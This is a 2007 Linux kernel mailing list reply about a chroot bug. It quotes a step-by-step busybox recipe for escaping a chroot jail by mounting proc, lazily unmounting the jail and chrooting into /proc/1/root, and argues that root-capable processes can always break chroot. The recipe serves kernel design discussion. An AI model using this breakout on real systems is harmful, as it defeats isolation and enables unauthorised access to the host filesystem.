Re: Chroot bug

From: Miloslav Semler
Date: Wed Sep 26 2007 - 11:01:45 EST

This is basically both painfully racy and easily broken with umount and/or access to proc. See this busybox-compatible example:

## Set up chroot
mkdir /root1
mount -o mode=0750 -t tmpfs tmpfs /root1
cp -a /bin/busybox /root1/busybox

## Enter chroot
chroot /root1 /busybox

## Mount proc
/busybox mkdir /proc
/busybox mount -t proc proc /proc

## Poke around root filesystem (this may be all you need)
/busybox ls /proc/1/root/

## Detach our chroot so we're no longer a sub-directory
/busybox umount -l /proc/1/root/root1

## Now we can easily chroot to the original root, since it isn't in our ".." path
exec /busybox chroot /proc/1/root /bin/sh

See how easy that is? Unless you stick the above parent-directory check (which is still racy against directories being moved around) for *EVERY* directory component of *EVERY* open/chdir-ish syscall, you are still going to be easily worked around through many different methods.

so there is no discussion about mount & others. I think, if you have CAP_SYS_MOUNT/CAP_SYS_ADMIN, you need not solve chroot() and how to break it.
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@xxxxxxxxxxxxxxx
More majordomo info at
Please read the FAQ at